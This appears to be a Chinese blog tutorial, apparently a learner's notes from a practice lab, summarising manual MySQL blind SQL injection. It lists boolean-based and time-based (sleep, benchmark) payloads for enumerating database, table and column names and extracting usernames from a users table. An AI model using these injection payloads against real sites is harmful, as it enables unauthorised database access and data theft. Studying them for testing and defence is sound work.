数据库Web攻防

Mysql手工盲注小结

2020-09-03  本文已影响0人  book4yi

布尔型盲注


原理:

在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息

MySQL盲注常用函数:

length() #返回字符串的长度,例如可以返回数据库名字的长度 
substr() #用来截取字符串 
ascii() #返回字符的ascii码
sleep(n) #将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) #判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

猜解数据库名长度:

id=1' and length(database())>8#

二分法猜解数据库名:

# 判断数据库的第一个字符
id=1' and ascii(substr(database(),1,1))>97#
# 判断数据库的第n个字符
id=1' and ascii(substr(database(),n,1))>97#

猜解表的数量:

id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>1#

猜解表名长度:

# 猜测第一张表名长度
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#
# 猜测第n张表名长度
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit n,1),1))=9#

猜解表名:

# 猜解第一张表第一个字符
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103#
# 猜解第一张表第n个字符
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))>103#
# 猜解第n张表第m个字符
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m-1,1),n,1))>103#

猜解字段数量:

id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 #

猜解字段长度:

# 猜解第一个字段长度
id=1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1),1))=2 #
# 猜解第n个字段长度
id=1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit n-1,1),1))=7 #

猜解字段名:

# 猜解第一个字段的第一个字符:
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1),1,1))=105 #
# 猜解第m个字段的第n个字符:
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit m-1,1),n,1))=105 #

猜解字段数据:

# 猜解users表下username字段的第一处数据的第一个字符
id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=97 # 
# 猜解users表下username字段的第m处数据的第n个字符
id=1' and ascii(substr((select username from security.users limit m-1,1),n,1))=97 # 

暴力猜解username字段是否存在admin用户:

1' and (select count(*) from security.users where username = 'admin') = 1 #

时间型盲注:


延时注入常用的函数有sleep()与benchmark()
常用语句:if语句
语法:if(expr1,expr2,expr3)
如果expr1的结果为true,则执行expr2,反之执行expr3

benchmark函数:
语法:benchmark(count,expr)
count参数代表的是执行的次数,expr参数代表的是执行的表达式
在盲注中的利用原理:

select benchmark(100000000,md5(0x41));

上述这条语句会执行100000000次md5加密操作,运行至结束需要一段不短的时间,配合if语句从而达到延时的效果。

判断数据库长度(判断正确即等待5秒,否则正常响应):

id=1' and if(length(database())=8,sleep(5),1)#
id=1' and if(length(database())=8,(select benchmark(1000000,md5(0x41))),1)#

个人觉得还是slepp函数好用~

判断数据库名称:

# 猜测第一个字符
id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
# 猜测第n个字符
id=1' and if(ascii(substr(database(),n,1))>97,sleep(5),1)#

判断表的数量:

id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1)#

猜测表名长度:

# 猜测第一张表名长度
id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1)#
# 猜测第n张表名长度
id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit n-1,1))=6,sleep(5),1)#

猜解表名:

# 猜测第一张表名的第一个字符
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101,sleep(5),1)#
# 猜测第m张表名的第n个字符
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m-1,1),n,1))>101,sleep(5),1)#

猜解字段的数量:

id=1' and if((select count(column_name) from information_schema.columns where table_name=0x656D61696C73 )=2,sleep(5),1)#

猜解列的长度:

id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name=0x656D61696C73 limit 0,1))=2,sleep(5),1)#

猜解列名:

# 猜解第一列的第一个字符
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x656D61696C73 limit 0,1 ),1,1))=105,sleep(5),1)#
# 猜解第m列的第n个字符
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x656D61696C73 limit m-1,1 ),n,1))=105,sleep(5),1)#

猜解列中有多少行数据:

id=1' and if((select count(*) from security.users)=14,sleep(5),1)#

猜解列中的数据:

id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=119,sleep(5),1)#

更多函数利用请参考:mysql盲注总结

感受:


复现完感觉没啥意思,也就那样,但还是有所收获~

参考如下:


MySQL手注之布尔型盲注详解

上一篇下一篇

猜你喜欢

热点阅读